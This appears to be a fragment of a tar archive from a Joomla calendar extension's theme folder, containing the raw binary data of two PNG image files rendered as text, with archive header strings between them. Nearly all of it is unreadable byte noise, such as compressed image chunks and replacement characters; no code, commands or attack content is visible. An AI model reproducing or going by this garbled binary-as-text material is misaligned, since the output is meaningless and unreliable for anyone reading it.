=���&M[����WA�>�H~"۶Ck"���MCy���1Jk�ؓ�1JJ�a�ׁ$I�,��8�|�@/
� J�4�&͔R�(������YkWDto���۲,�Dt��#{k킈��{~��s�;�J�SUUYQ�A)p��υB�_؈�	=�]O���IEND�B`�com_icagenda/themes/packs/default/images/pluslist.png000060400000000246152453734450017013 0ustar00�PNG


IHDR��y$PLTE���������333��������ٿ��������������߫ftRNS�Y��0IDAT�cX
A���!�P@a�d�W�i`!�1���<5�z-�IEND�B`�com_icagenda/themes/packs/default/images/default_preview.png000060400000103725152453734450020327 0ustar00�PNG


IHDR�&����PLTE���������>������������������4`/Z+U���
%N#KE���	(R���2^������{����������K
-X���TTT�������@
DM�C
B���FxI|L�
"I'P���O�6dO�������Du���������S�Q�^^^!H���:hArHz���V����Y�U������8f���������\�������>n��1[1]���
K�em�N����K�!GK|2���������A}��P�S�s��`�g�X����^�Hyg�k�IHIc�
h�*g�&_�?x�Q�o�#k�0k������8q�,q��nO�����Ֆ��������NNNekq��<GWWW"O�sz�������ef`D�xut�������
!r�����������������E`����C���������
�m������{���ů�����Vs�����Ϸ��켬�e�������߫���fKb0���/5J~�nj�z���P���s-LrQZk���.T�sUM���]p�Sn���Ѻ����=u���}-/+_}���O�M£�p�o�oe���zf[Ҳ�GM]��̖s_G_~9P)��`MI��������k�w�����ڰ�`O�Ø��C=:kMc��n���7AY'y��2�. 8\��rgE-%f$!C^朒����̓��4���&�����\N��k�/��M�@� �+���IDATx��AL�VǓ-6/��j�zhd�̉C"	�"��4	E>0�k/>�BQJwv JHh)T[��Mi����L�&�mL��D;������XTb4�ޯ���T�ח��x!�F8EI��NѢ�в�j#�r������i�cf0�c�ng�����n7��ݼ�N�
�d��Ġ�@#��Q^�Fc���	O�	�j�.a��ry:���<I�	�,&�y��
��\�+�nzKN3�B�5©�J�{��y6���2�ͅu	�m`��;M�����}±^'���$4�i����z�z��p�W���V�����Bxܜ`\�I:AE�:J�J]h֩Y#�K�����L��XB�
�[��Bp�%!O �`	�m��FHB󠉄��,�Y��W"��
����o��V��b��W}z���fa��^A��H�V��`�$�ʍ��6�s�^��G�j���@�D��+�{G �=]�����r^p���Ή��%����
X���'֧zC�Em��5J����&�`����
��,�tQ,��G�8����n��
�\����rS4��n�D�r��D�:��J�����n
�b��!�-?�	N�X���]\.��Po�p*2�@��f�Н��=�D��"�����AB�%Tt	��Ix���q�O𤳒�{�L�)>���,%]%�#45^��M��,��6�CG�G�R�����Z�:��B��w/+%8�=]����t�_���7-��9;��p89�s�-X{ŝ����uҹ'%���7�¹>綃HH�XB�ڞ��&!U�֪[�x,G7����I_VNWVk[㵭��ت/(�"��u����?�<+o�ȕ��=��]�n�U��j���AJ��(~_����~��Ze��ςU�g9����M����j>�n9*,Xv��&�ѥ�f��чG��X~�:��R���Z�%�)A��K���]u��IIZ߭m�Xcߤ2��݉�l��Z���7ҋ��.valݔ>�/�*�̚s7�Æ2��*�DA�79(�Hq哵����^�t�����=��
מ��٢�5�)8��ș�����_@	���P���J��,;z��#�M���WRJ�m-�B	��'/E�[B��0����Hq(!m�����|��R��Wc�r�Tm��Ki�`�8W<)���r�	-�rc�ʄ�Lמ�X�C��K��}9䐤���j�Z��@����w�8���(��{�/��N��K	��@P��'��J��(�,W~F2e�)9\��e_=^Fn>t��"	����|	3G��v�ep����|�₟���xMFv:��hM�z���j��"���WΗp��ʃ�Td�b	Nf_���Gr�*o��Y�좓00��	Z,�|�HHh�Ƽ�i����'��Ğ<��|���wA�*�S�$25���	|/�5�{6�NW>�ϕ����r5n-W_8�sO��W)� 2���(g&�r49�$D�o����>�>��hy��I-Τ?��RHvN��^/�?.���N�8YJ,E�QKA��>A��K�����*]Lr�t)I�B�A�(,�t�4z;��D����'�5�{>������-P ��X��K87�}�������(l ş��\b�_q���,j�~���$L���Ϯ
%���';�������Gj�V�/6+g����}�K�	s�%�OB;�D�������K��.������c/M	p�ct��K�����fJ��чw���
�X���xh{u�
�PB�����"+!Y��	�RH�dYr�U^$��	��$�CP�CXB�!�#a��	���x���w�]Xw���b�
�քc]v�q%Ұn��pj�ƭ�	Kx	���A��Gmv�Q�����6d(a㮖�nJV��n��qt��Y�:�],a�
��IH�{uuդN����\�k�v����<X�$t��u	[�И��R!	ՙ��8M4ފ.��v��L	)�$�	Dw�E�oa��R�g��Қ���8�XsZW_DcC�i4	���A�y�L���&���ʆF�@�T�A*:	quי�u�!Z2�oLDB��.!�҆�24�4Ku*!��uūhjt[�=�gz�K�`�
`�i�%a���xP���
J�J%4i�9q�_���\�Q_�/f�v�E��2<�>=�V�p��c�ċ�_̴���R���XZ�S'�'�6�z׆\����T��v�\�ث��-m�μF���:	�.\�;��	_(MB��a��	7���~}y~�^�׭��ia��TPB=�#N��n���������O/�߫�&�f���jaC+�pB�E$$\���?۰�_��-$l"!�fx���������3h!��@h��wv�o������D��7����8�GFr%��	ôl������
B�؅�9
�+/�V����45h/Vo�/GQRy<Zthy���(z� �t�9"8�|�'/O��M��*�g=9��������K���9��HQ����^�YP�
�K������o9���梿�%�pNk���[89�VMU�I����9U��x1�k�)A�Y�\B�T��=�"!l��d���!����%�pN��0�����Eϩ�=���!t�l�e�K�ᜊ�ɇ�j�Yo��(���[~��RZ��Dž�Q	��@��xhP�Coہ.+����V�^G�C�YhslG.!��w�*yA��,�ܮ�H�]�
�k����v��(�$T�a�NBY�eVK��"K�S����X���pX٫t�u��Ej<�F��k��VM"�WOyh_L`i���t�p�Ù��3���� w{�`�k�()�;�ʎ�,�������X�d�3ꄲ,5��b�djq��AQI��I�L�rf����Bu���|���f�fy��+�(��uh�����F��L�[œl I�KE�Yb�|�t�d]�&KR��;��/䝐3��&�pE�^wXF�5�
PB\
p�C���ב�@e�h?��u�T��6LM�T�n��r<W&��)>�)ۊ��ƹ$�E���Eg�X��X+ᣫ��^9��<�#�yT9�V�M!d붧��<���S����p�Tl!��y6&�J�D�$�iʻ)I,q	9���p?��Q
A��-�@[�vݎȈ��RF����ݮ����rl!��$H��Tw���(b��Dd��.K�TI�\(��%��&El�K{!A�Z=�������ڮG�.�^�y��}�@7�
U�Ky	o��%9sC̒$�kD��f,!��5i{�$fIN�$���G�NX�pf��"yh�u�����T��-u=`�u�!�kz�2����R��~0s�
YO�
KHt��ꯜ%i,���H��K⍷r	93
�PT(j����^w���0�
4*�ͭA9�		Ș[d��l��ƨF,��i"��r�2�C4�S��%�&L��y'��,���).��۷���!�%(�;!�����@��r�8��JODB:��N&J�V̸�B�Ne��g��L)5�%4}�ZHLB��/֛H������oY'<ކ��b%	K�K$��d����]p�m���rf|Ez��7M��g|�Qs�
����k�a�vPS�Pc���6�t�F,�Q&�P��dY�hHR�2K�M���7r	9�L	[hj�[�Y�vomi�g{JR�N��{P=hY0�p��.G�cl��R%�:=$��&��������[���pX���o��(��B!�
9�n}���3��� 턣6�c6�
�h'�&�%��H��M#=�l��4e�������f���ej�U/{Z�Yv}�e��f�e��HSs��DB�����@�9��ؤFr�	�|c�p�W$�� K�)�:a�(M�Q(��pj�f����B?�R�=�ogx��/���u�F�֑:�W��7�F,��|b&��nK^��3Y�G�؍7���R00��%�(��$)-
c�0���
�Or1Ϋ8��"���b����p���nj��*�ugeh�z]h.x�C�;w8H���f���L�D��$�$6�R*!C�8�X��
�u±�ʗǹ@�%㮗��F���S4�I�(h~�i7���#��^���JҸ{�\-�G7��_���j�6K��W��i6��֖u�\�p�Js�}L��Y���]Z�q���8u�h!ޱ� v3CaR�E:�,Q	��l�,�����$\�tۓ����&9}��b�^�dΓ�U��w�k�>Y"ӌ�����e:�x��'�5�'>6�D�~i�s��Bʷ��2��g�0����+��~���Ѓ�V���k��b�^����*�t���ôzƝpR»b	��/�w7M��#���s�˶��;���)>X����yR���K�_�$^i�~Sp|EC�!"h��B�Z��p�׻B��i��N�Ih��t���7��7�1R��`^�>8>B#��#%,]��	��\B��2�4U�����:�K�T���v�.���s��ΰ^f��{����0	�V	�C�/>����O�_�L�G�K�Z�G�>�4�Ml��e��y^H$4��N8�H$��X�'[N�Ӯ4���p�X.��k�e��І��.��(�߄~�ڂ�H���.�o��O
�0��h+�_��
b͗�i��D��F,a�|Sw���U�p:Y��p}�}�fy�Ùj�~�x� ����=�:�AqDT��'�3:t��C���Đo�p��%��Yz���/�/�
�SI���+=�
���9|Y�+���\�������Gg��E�R�E��Ri���E
���:����mC��$\��	�Z�U�h<V�VoW�Av,����B<�?��JX��jB��C,��>5]B�<m��<��';g�H��lh�&|h�.���5�
Db6�j�`��l4Y�O4��jZ���1� � ��O[�̂�
f�PbH[⺦�&|��;��ض�j@�W:sϙsۧ/�νS�qܐ@�r��.�8!�+�XC*�+2�B�Ѯ1+鴄%�T’|�àgYs(���U��i���Izx��J�	�/Bv�扂%���	2����(X���;ڢbLH����[�C�yj�һd뎊!O3
�~$�+��:�|q��s�d�bxJP$�':��x��V�T���K��$d��H��k��u�T��f��ֈut,�6H5�\rz�f�=��#$����,��{
�"��"��Y��Q���q�z�J��(.�8��@���#rp	M8�**!��Q��8#78J�A�!{T�Ӝ�*�uƬ4_'.uG��c�R�xt���$�LJ��c.*����H�YKI�j;V����H8��1y�:^L��b,n��	���6O$$4J�nI:[3~6n=b��]�3�~��"l��LB�MF���ߢ
)p�t�����l'�)n:kkf��"d0q�WGo$��J(dNG�d:z5{:j|�B7o	�_��.�*��F�?���l:�(��Z�-��u�ds�ƽ.K�US���8�:+�C#�UB�{�#]��Vfh�f�iJ�q":�;�/��u	9ea�,��QU��i�%J�ޚ)g͸���1I�S�����eM1���%��lQRm`š%a5����q	�� �Q	aE�I�(}n6P����
[e�ey��ȸ�D
׏��zSDBu��A��8��q8FѻJ�$�����ܤ���#R	M)	���K2�!�T�Q܋_KY�p�;�6i>��:D���/�+(�5�WB��	ecrF屵w�ck��� ��
�$��ʓl�%T�L�@0�a���G�\��`b0r•_O[8&�r��K.�Lc��0�
�K�fw��)�+!G�N8ݨ�7�)pϘ Y��Z.�iTB��,̖�$Ag�g�EE�_7�WmO`�\Ro�tPÙ��p�i���j������/�DY�YsHX�8�	�W���owDI��� �������v�P�g�S��>���+T
�ij/<}�6r�C�OI���
���S	�K�� Lv�W	�7+��_,N�ܮsM6X���\���bI��L��vK�}ݹ�a̚Cœ6�sE��j
^��7�~+V��C�CB!��›TDe�}YɋU|ZBޱE�8>[B
���}BEB��2	y-,/�3�H��:?�_�X,5�+�ݨ�!�Tjw��f���Ԓt���t����%�"=��&=�
���!��eXxϐ�>&/������LBF>L��ߨ��,���[#��5.��`����l��IE%T�0A;cD��f�H�xZN;�P���0��R��H��9N������)��taa���x.���TB�0?n�P6+���,tঽB\�wH�lm�zL_��7�0��V�F4�|������t��[vD��!����.'��t�\-��>]��^���LBb:�wX�KB��@I��j��Q�s��-{ ���B,�K���q���=j�U6�za�t	��P�T !�H+�@��vG{:�%��x�p�{'
<T�9J:��.>uYȀ߯�ϸ�`�eXhC�p�j����T�t	�ٰ�Tx�+H�F��_B���j�IZ٥��S���0�1G���8��z��](�?��Ir���u��cl	�ؐ啪O��i+�Mj�#�,�*<�1�#��GB��S7��r��j�qu�0V�(�T�������+a.rK��x&�QZM�T V+]JE��#�c	�!�A�6sd0H�w�y�(X#�3ҘS�!���ڲ:��J��{m��4*�bq� m�59U�_��e	�_=}�m2�涻L0	���d�����t���"�M����
Vb9��'&�@�M�a2Kic�S�X��)�VpP�-a>��
��K�R�=!>o�NBC�@<�$����~��pO�W%j�6/�#A|��G�BX(MD�	�t�nz�=�G�I>��!`s:���v�l�=		��.]��ڈYK��D�y�oM,�x�8��ֱJo�z���C%���fK��(�DI�
%ďh/�2-�ͫ��!jG�W%4��Vk����b������6�~�3��b80��]���@�=EÁ�[����%+�aZ3��/�X�l�&u�nk1��dQ�@���=�-UD|+?{���`�-���¨�y�!o�8�(z,=b]�����cF�
x�#�-J%�@R�jwT�O��cZB��`o5��¯'�+Z/��L��`��j�}f���vO����_9�u��jrkxts����O�VFϗ���뫑p�A����O&�o�ټ�|�容��x��韙���Q��Q*a������:&�hZ֩�����q`��p+Hx��[�:#�����V��Y�+�
^�1����i�r��;�[��.;�����d� � ��]�{,�m]���	*�|W�}+�.9�+CK%�&!(�B�.��e9��8�uJ�4�Jx��94��&���j/~�L��\rh�H8w.8����m��(���ŀoX�p3q��sס�σ�kW�����f��e��o�Y����b���	62��-��E��l�(ꇯ#$�A{0�!K�=��E+ߟ�|5�[��>2%��\،L,������_<9��}���o�68�n���h?�
�����rh�ܵR��ڙ���r\3l�2�a0ᦽJl��R�#7TB�c���H"`NF<�di$y{ �Z_w�d���>O�;�Ձ�#{��PH��}��@]�/Xϟ�s&�g!�
`ד�d 	5�ĩ��(XX��ݞ��P���H�5�
Z�M�^�%-�tp��^��~<H	 IcR�I��/D�`��r��xb�-C�	�Ã�+���@�Rn���a$d0`�l�֑	����Q���HX�`]�:}q�
�
�{���#̟��jZA�7]
]����B�`DR!P�"	t!4bL�t_�y�,��$O�*ͳ�f���
��2�93s�\uS��[�]��wH��ٜǓ^�0_����Y�;��z<���N�z	=��]?x�H���'�䲟~<\�W³�Ǔv�O^B�g���9��2O�!�����(�q\���<�c�R$��
���K�q,��jj���P���H
s�j,c���N���N�Z���$�&-�Np�x��HX�,�4�mJ2JB���Z�j��a1�E�Ű��xl�W8�k|Ͽ_htk��.4�.@��9(p�^?ㅪM���Ē����އJ�`Cr��P.�#RK���$�.��o<��5���(4P����*�ߎ��z���*j��:sĴ���o3W�Lbd����t C�Ho(U���Ӛm�)��d]	7�l���\� !L�[�iU=ۅ)*���{�xȉlI�;�yڱ9�,���DP��:-���n_꠮�DDre{ȕ�t���>{�2��1��6F��0�*n4,-hhU�x�.�����#�8��$ܔ�����DwX�QZ݆�0���Ni������8�)�QƊ��6�Jآe�1�fX�D;R�A�E`�q���+u�(���\Q�XN��P;����U��?�B&a�
b%*S�t5ү�ZT޵�K&�=W�ѕ|�fJ�;��(�L�Y��5� NJ��)��Q���h#��+FOJl����#G(#IM�s�$�L��ƺ͚ǥ~��X(�0��ʨ¤�$TX?�㆐�
�qJn	K��xy,^�wC��i��Tb�,\�lx�Wh��r��t�^Q�1�7�(�+�`���r2	 �LBe�x^��,��L�$��BK	U�����N�K�X���`q�D���ӤLT�Rmu�K���U�-��S�h��<��St9�xD��*�
]�Z�>A#��9�����|��oְ3�!Ѩ�E��^V��l�tww��0B�&��u\��0��
иu���,Ma�
	��h:��@��(�	� q�+��<%�55B��%������8'0\$~_�׶OΌ��k_$�&�0�%;���
�|
�e��P��RE!p��[�cS™л�nl�𺱯m6�|�5�ݶ:Л�uS+ɜ7��p<W�M�)�E��EY�<O�Y��HWu7
ݚ�OS�� ��M:x����U�Y
}l�,.xu�L��HNaw�I��&�ۢ�3����TF{ C��
�N�<|��q:��%�}:q�7��z�U�<�t�B���H����{Cם�
~ʲ(�ĸ�U�y	}QIP�y1�4*7k�,�D�`��zF��� �z�F�W�m�>D��k-����z�tہ(��v>�ly�qP�Ό��g�b�)u�:'r"8�Pj�!A��9p�#�H�S���#���ig̥Hs'��|���#�j�n�-K�7��p]Wy%�4��:�;F�J���	L�g�� �q��2�4?��<��9��M�4�V�����\c����ŇO�c�a/����`W�1Dy�OXt4��6��a�~2����%�H��vHt>!����7O
����b*i�D���7<A�t�J�w��0�W���,&��RЁ��*�3�M��'-sR4&O�g�a��<�m[�}�V�N �n�iX�2k���\��
��n֌���Bү��a��g Ҽ�璨�^[�g�qpA�����B�(*�7�����:���U�M z��6���?g=�(��IAh>�ﱄ`�m[��rֻe����\�퉧�cAC�X�y���ovU�S&��2s��i��(�e�I6i�V�e��%��4��,1����M3a+[U�ܐ�#a�4ף3��&,k=w{���h�s�Xպ�'�s$��K��s.	�&]��E��> �@�.��88ܹt��4�d�ƜC	ll��a��"�A@yI�k	/����'�GBP�x��#��$�G��g�Y�~�vz�Sw���Y"�X�b�X���JLP⥟79@fS-67����3���K�֪��+�䘑�z��Vu���oA�3mR�,'ͳ�Nw꾼����q�~A�ܰ��:�cj�z�vHĹ��tūs�|4�S��N|)чu_>F&����"}$��|Ȧ����p�>e��GڠŸ� ??������a����a��OB�r\"Q�A��|�V�s�fX�����#�#�v��5����#�Nq#g����I�ނ.����^�JzA
��?�rж�^,��c킲�
��zA�רk��C�C�0=&~�zD=���jJl��yU<���*�-EvY�̝;�Oך��S�xm]��M�����[S�Oڋ8�́���s��;�N�
a�:�I�z��:N�㻁iEZ��,+R��JީRE�0�1q�ֺb��Z�@)�7��}7]�Z���)A��<�g��$�,jam��
F�F]$g�������N�R�h>�}v��H�2K�!%9�v���J@\G��h�!$�r��ݍ)Qi���43h�%��E�&"��,
��[�Pa2��ȹ����-�%���W�ZT��;�n7�M���<�TH̑�v_�=�Kj.i�a{���5�5}h����� ��~A�x�C��	r|Q��,�&�+��~A5&��Bh%ի$�o�8Jot	-����a���ך�+��ЪC�Ƃ��2�Iѫ�-Zȑn���PV���Kor��W@�w-KK��Q�9�sQK�
e�pk�6?ֵ�zB	S���
Uk�u4���i��HN���WN7���,zrR^[=�h��ds��l�3�-k�3C��X�[58譆�&����b�4�|�(Y����=��k�b	�9���V���`�/����&�S�nd��(�F�'��m��a��,�.�u�G�s9�����~JZ�d�@;GO�G:�9*�9��h�p���!�sa{&�#�L߬���4D�E�h�i':���	��>��Y�㋥�dxv4���ͪ�:ʷ`�Qŧ�$x3ڙ��$�CU�T�b�Da3�[d�u�M,���4?$�6R�]J_c�оCO���Ϛ5�����n�����SG
]/�U�����QG��[��:������W`����_�����WQ|ֳI�]*�Zm�\>Q�]��P2�����uپ������O�J��/�u��V�@���\0�U�N�Gз=����������nS�5��)57�@����?���JG.g)h��ʮ-���,Ԛ����`Nim���uܑh��Z�������
�3�`-�n,�n���c��b�'�n��)��_�Vd����zK�(c9�fc9*T—n*�\�T�L%$aϋ�9�'�v�0=L̓�swfT2=lH��y�xUِ��-��D��䟂�׵iA�R�\�p��u\���𲔜�o^��-t�	��s�/��Z����,�y,�)}�cd!@t�VP�h�J�/�$���^Lt�V�1ɩ�����D,�&RP��J��Y6�E���jf�",�$��9#hgF%�ws�s͔���R���R�|Oa)��D��L؞�� H~(���*3.:�!#d�g������+���=��;�S�eu�$OV;��il�oH>�W�p��Ƒyw��@s䄿�YK;�8��h���B���o�3�__�\)��.板�rQur��
k��WpC�$�#���>M���%�*
����Be	o^�t��vv�W���d�J�N�)���tw�cfA��Oq���ę~q���=�'�ˍp�]��!�d�p=�TKJ\қc��D�`ox��6�z8�]���^�I��Q�����x_a�a��Ѳ��#͞��$#/���c��ȹU�Q�Z��W�j�!��SH5�Q�$أg�<�48�=����w�~N��
�;�M�>ROJI��wa�fb��ԫZ�G
�VE�K՜MUx��PdրR-A�^�v�q��ϒ�6rD&��g��L]{=>'�՝��H�3��x�@���>^�L�6�M����봽��+�&���� ��U���q:�-��0�A��e��PQ���Wb��0%��KQuXz4�üc�gc �1'��=����s��p��(�|��Gr��!.8���^��i5��T6�S}���*�$�2���̘p�k2g��y��>�J3P[Z��g�0���}sL�����,X�^E�t[V��W����2a$��23Ð|�0q4#��[�P�I��q��<Ht�n�Bn�
�ю�##H�x*��	��wx	Q���7�m�w��� �~Ei0��#<�Q�^N�&��p'��E�o�d~�?ǟ;��,��������戂V�������HB�p©̮���k�35��xz�������}e�U^5��F�@S�!������4��k��i�MMd/,%zMy}�����`r�o�"����c!���ma|�=�A�ɍ��z�=/��F2Mȑ�i��Q����A�(�A��JQ��C��:~6�?�wOj¤M�zf����#w�7��5{	@;�}�lꩨy_x�c�ް��g�l����6/�#�����Dgi��8	�$���A�j[?
�X�}�$�v���޺t?L�WוN�Z�q�O��c�|v�'�(�$֕�WH^P[��@�����D,�B����)x	^�sәq�%�%'���w������g�oQ��_�I�vbt�9��e�&{#4s�S5K�\�HqEJ��b
9f��'Bb�1v����p
�&r�1z�Q5Cޮ��[N6ц�J�7�*�6�t!����
�"y���x�I�!1���'FEa̡s��C�cE�@�nR")#ek7�V!����"���s�֔�P¶�����Bl5��px�u�a�ǸN�B?�oy+p�-�7�x�N�	#�!06"֢	 &����d��,���<&-��
�z!F2z�|e�C�υP����.6��~�a/W�oY��d[a�7~��d�E`�\��Z�&߬�nL�]�y�qkb��[�Ϸ��^��>'W1�����6��b�a��j�3�V��Qp$�\�~H�A�L;+�~�)���1O�:`y4�Dޝ��@��;7C�	
�}����1�7�7�}�9c�*�h���N;���P����}OEu#{c'�h8#@x4}=���t̏5$��-��n�FV��*��>#X��Pv�N��ƥ|ĩW�6OZb�K'�恫��Ƙ����s�ƪ|�I�HO"u��>�4�3���_Y?����pc͈9U�B�N�"{&���}���cx���[j"��C�%cTByz�X�qvM����R��!<�>�/G��F,��H}�x��J�a�I�!���4��.X�NOa�X:=*%b=m��[}��Zw�)Q�72�b8,�<ት��I8�NYp<���jp=D�y��Ic�q��1ݱ�4%��}:(�#dS
9��BQ��Iu�Wf$\c�|�ѝ	1G0�#�v�K��P�s������@�X��t�|Wbܟ1���)�׳��v;���*�%TS)5m�}@����Nh+��~,ǔ�u�К\8�i�М$�������(�
9!�[4��p�r����EQ���̋�P��
	�!��x�DQٍ#�+��{�A����U�"�kv�a�%�X�X��K���`��w~C_����_��i(��#��ӌq�t�`
81�l�Z��-�fC��E�Q���88N�J�B4����4�9�ʝ�0��p>���LHa
n#wGcVf&e2%ӧ�i�&E�&L�~D)a�0�N��G9�RIc~����&c�@���R�9A��I!�%�_~����Ϣ��Br
B�*�!�x�Ӟw�#�"�+;'�͈&�Â��k\��pҠ4䫅>����G�n`��N���x-�5�3��Sc�����=�\�Г>�9k]�>7�ʈ�R���A�mQ�##��?�4i�X����j�T&[�t�1,1��yv����<:�����£���8�!�܁<�0b�N� �h�:�F���>��Pa]I�t�I#�W~��s��cBI�g���y��೘]\�jAvP��ǬI�yn�$ߦ�`#���Y�!A3�?IȲ�J�T��86VW��%��G_�c�f�?��p,�I��e/�k�:�;�G�Ӥ�e��V�}y��=~�\Nz���]�a�{�%� �zm�y��Ҥ^�:j�r�"�d�<�	�+$"�O���L��R\���� ����7�2G@�Lkj79�
�+"�6:�S��ӥ��׆PA֫������g��д�Io�FoJ��>�����vœ����p�R]��ָQv�ޡB�	�u�嚦@���/>ydj�ϙ���O��L����sД
9�&��Z-���G��
G���7{��9��O��ړ(~t>�_�:_��Ď��4��z�e+�|Ӻn���q�w�zB6�t��5VZ�
r���E�}�%��Z�8��<,�Jr�K����di�ʰDZ$0�qa��)�gĪД��R�%?���o\�@8,��*8Loe���K��nF[w��%�m�ݶ|��M��ADc��V+��2�9�L�ƶ�|�z�ji�^�I�<��p��=C���V�D�����Y㠡i��L�δ��RR��(	��9�̬.�����.`���mhtG�Wo�C�X4Ř4�&�:7���_0>�S=�	�������y�[��U˛��dv�=f�X��=C3J)��u�`�Yˢ�_}df �S�a���O�Նr�	��\Q��]M�;:�=
�`Dw�ԇڙ�(!,��C����L�ظ"��<��Vi��Uf]�O9k�
qP��/#乛�T]�3�b��4��4}Y�ͱJaO��/8`&~�+b��#5�9�����2H�?
��h8*@�}�0B��'������@�ydJ�7k�e(<�2g�1�Ś�4�Zө�@�K�<z��T����Q�'�X�1��]m��o��,HIȺ���('���<��epYpȑ��5�*��k���*^�a?T��	!E%�+�w7���M����V֤%�-4d{�ZLp�ظq�H�U���S������5x�f7)5sJG*��d�<�i1)Ʀ�a>"C���aE��@�1𤐄��E��?�~�ce'�ECߢ
FN��.�d��j�-��F-Cx9=Nm�V���H�
���I�Ud��w��Vxi�MZZh����T?ƕ�����0��)3ƥNLCS��3%�1����@kL�d3U*c ��"h.�=j�t2]MX��!���.LN(�D����5�6[���n�ǩa�N�(J��ݓ/�(_��x�Ejn�)#SI����ZH�P�Z��an������
x6�&�k�wƴs�3�����x8���*ѷ
 ����薨Tq��uI�(�_��g	������Ԙ���>����jM��-�$��)��,e��&[XS��Szk%��	"䘿�UN K��u	�.��F����N.C������Rr�;���
����w��	 x�5G��	��>Zj������Ν�-���kKS�ȐAQ/Q]*UD���k�Ub������?ר��ȘSf�e�l6���ߦ���&C�����"���s�Fz�]�T6,,��u�~���^�ͼσ� B6��lՋ�+�SKL�rǔ�,ϗ&€'3R|�	�I��4��X�u�� <R��ix��0�h>�4�i��aa���"u���I+�;��匬�5x���65@��'�Lh�,#r�J)%���s�,���A��p�_� W�b�|��1�Zj���=����4�Ы+��ĺ��J���8�I�S)�0���28�+:C��4P&r?v=�We�^s�����e�\�8�^���t'V�*�ĩ�3{F�د�96G��`X�>�!����hP����RPZ���N���T;�.�߳��UX�Xu�O!��ؒ�i^�ѝ��X��!��A8�gA{y��E��<�6 �f���Q��Q)�,u.4��d��A�J&��{ʱ�Wj�s���?��
g�L�^�PhR��ǑX�wn<�*���d�p���`�
���X��+kSM�1�ҿ�nS�[=&��uU��F�f�t�������z��
�*!���GB���k9UE�_��߯��=�g��*&]�m�]�=È��߫;�/�x#ýҍgZ:�2������}4~y�1��4:�����~���<!�H��O�.�t�iu~��Yg=M���!li�[��>��%/^���HI��^W,j]D����v]�� |����z�z�/�nԊ<4�R![�ګp‹��ʭ(�_��~�QS�^��B��7�:�I��^�/��E���BN�B,��n��V�1��u���K��0D��h=�Y:���]r�QY4Q=�qٖ{�P��l�prw��o."��T*H��I,G��x�;�4��=8�',۱	Q������m�5b�K�B����}�1��i��"�p�s�'$���aa`�
KR�?�2>q#����oB���҆Y���s�P��$�ꄢ�N�k��?$�
uBQ��n�f	�	E)�WBuBQI(��P��!	�XC
�4$�kHB!���3�H1��$	E%v��!�'�
	g^mJs�#�K�2�viC.U<��%���jT�
�I��sT���0u1�*��К+g�(�c��ڨ�L,<�7uB�f�}��8�8�����%��ɡƘ�n�	f�w�A��kB��ke��۞�@Rۆ��
r���ŅD�8�?����"�59�}���}��><w�]�][Nw�12�����������`	3�
s�z�+.��.�֮-�a*Gӡ��B�x
�y��#��;f���%����B���cĝ�����sf��sf6�e�Ĕ;ԷP���(Zc���4,Lj;;�e�����@�c-�s�/�C9����B��h��Rl�,gBg:f�Y���hB����s�s�����+�i�Lj������l��y����f���v���N`�l�$��!�iX��`'�n��b�6K�mt�i�bM�e�܂x�	����x�rx��/U9�,�+�k'?��fV1t9��7t�~\9Q�~��j�#O�$*yJ�9�ٜSP���T����9Z�闳EMN!j��.W����A�I�����{���֤���*s�@�~?�4���"'1�|r�E �{h����z�n�{R�(x�%՝�;n`�#b�s�b���y�L-�2?g�꒏�ʉZG��κ�O��3�F������ ��+��@�l�Fuw:����1
B���F�:��[v�*�ro�)�A��=�7�Ǟd�L�ͤT���`�竹6FA��e�~��ͷ�DR�R�@�?��6�JJ^��H�?�5=I\9I+a4S���%��"���Ӷ��/�'uM/�h<��w�4�;�Zg1ň�;�0��K���0&
(�h�#{�1�QK�
|i}*���z�3�.)�B�s"%I	3�G GP1�MB=�R��0���}�#�FA��	,�+'iE!<W�{'�a��@�i\����hz��l`�4��Q��M=��"F�z��s�^�� �4���Z_��)��F��))���aЮ���!��x`��mR�ӡ�y��yq���z!{N��z-�d��p�$��#�4�p��vd�Ta\�{+������mŐR�<B�K!�N���ma�R�P|���I�D�;E���^��|��+���vtR-�L[�Km��_#�
��h�Ŧ9'��B���c��s.�]���@��?�7�[��YhHx:zc0�n�)&��B�����;-��dA81!�Z�v�@ζ�A�I���)�l&Yʍէ�v��|��paG�hs�!ė��e�|�`A��Z�{��
AHK0�D l�bar�%Q��ƌF�����)
C�q:�(}wԢQJ
q���.^��5�x��mU���h�tqc��|[�[�w�r�z��3�N/]�
��.�ll�*�&�%��y��խ�w��>�����Ձ0�W����p8���;��X�k�P�ý��
��/y{Ы9ho�i:�3DM�#�lcFJS���B�T"���D�l\���2vz��� �n�r�I�lDS	����
�V��ľu:�~�/�B�,������w>��Tak�A#T��9�0q[({B�����9���C��L�)��LIG���Ԕ�IڦYI�416���B)��*H/�?E<z��&�L'�D[]M�e���{�]$?�73��XA	��#sۑ)+͍̏@�����H'�����v>V�^qlj����E�ä��܋p�f�e�ʎ�hl�1!���������oe��:�(��+�z����4��נ�5��2a��,T��l��U�i@�uxP�|+���s��?�v�G�^���W�z�p+tu��J� �e��+��mft2!��Ȅ�m���	q�[+p
�كC��ԸhD�h��"��pK��d�E��?��9?¡9�0?	O3��2["sG��r�p[�L����t�jo�޵�7L�l��^ʂ�ӱ��ˑ1���؜	ٻ�n}"����
�g�z�:���Uz��;.S#�e#�qL�������.E��f�,��7"!�/JX��Uj���S[� �>�,��^�Fd4���1!�0�2lx
u��s��F�r2�_}����[#(orb�pkt�N��Ԩy���
6�4J3�F�ujSDΎn ����q��%[�!�]W��Lh�NǨ�����r�H��C��N�Kx}H&$�" �P�$���f%�`@��t���."���2_Z��u��Kx�@B�b��37�4�&?^���$��P:V̞>h�+�2�UA�S�{��B��=�s�&���e9�6��QF�U�/-�g(^�Π��C��B�`��S�^���B`���OKK��J��r:�.i��?6vf�����Inaqsh������}��A��&��яB�*���⑏?D�G����	J^t$x��ӂ$I�4�nV�%�,�)_0X��~�JҊ~oŬ/t�e}��	ܠ�"�.�ujsg��M�<���W�$�֟�r*�}��
_�+�G�Pճz^OZ,��V��fb<�7���l��ϲ,	?�"	�>�ŏB�ڛ���t�Nj�}�NBuQ��:�ߩ4y-�J�<�-LW��8ZF��F*:*�����T,�/,P��iX�S�utE���Y|gk�p��}�A)�o=Z��JX�GC���iQٰB���/W�
GR�X�+�'�o� ��	�,�g��ʁ�����,�/�y�89^��O!�k� ap)���y�.̈��#Ty^�-�#䇃7�&	�t
